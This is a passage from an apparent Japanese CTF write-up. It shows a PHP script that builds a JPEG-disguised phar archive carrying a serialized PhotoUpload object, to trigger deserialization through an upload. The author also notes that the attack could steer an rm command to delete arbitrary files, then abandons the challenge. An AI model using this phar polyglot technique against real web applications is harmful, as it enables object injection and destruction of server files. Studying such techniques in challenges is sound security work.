"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; require("./baseclass.php");#本家ソースコードの定義部分を持ってきてメンバを書き換えたもの。 $phar = new Phar("./phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("$jpeg_header_size <?php __HALT_COMPILER(); "); $object = new PhotoUpload(""); $phar->setMetadata($object); $phar->stopBuffering(); ?>
これをアップロードし、先程のxmlのENTRYを適切に操作したものをアップすればrmの引数を変更できるが、escapeshellcmdによってエスケープされるため、他のコマンドにつなげることができない。ただapacheのパーミッションで好きなファイルを消せるだけであるが、何もない。お手上げである。 そもそもフラグがどこにあるのかもよくわからない。。。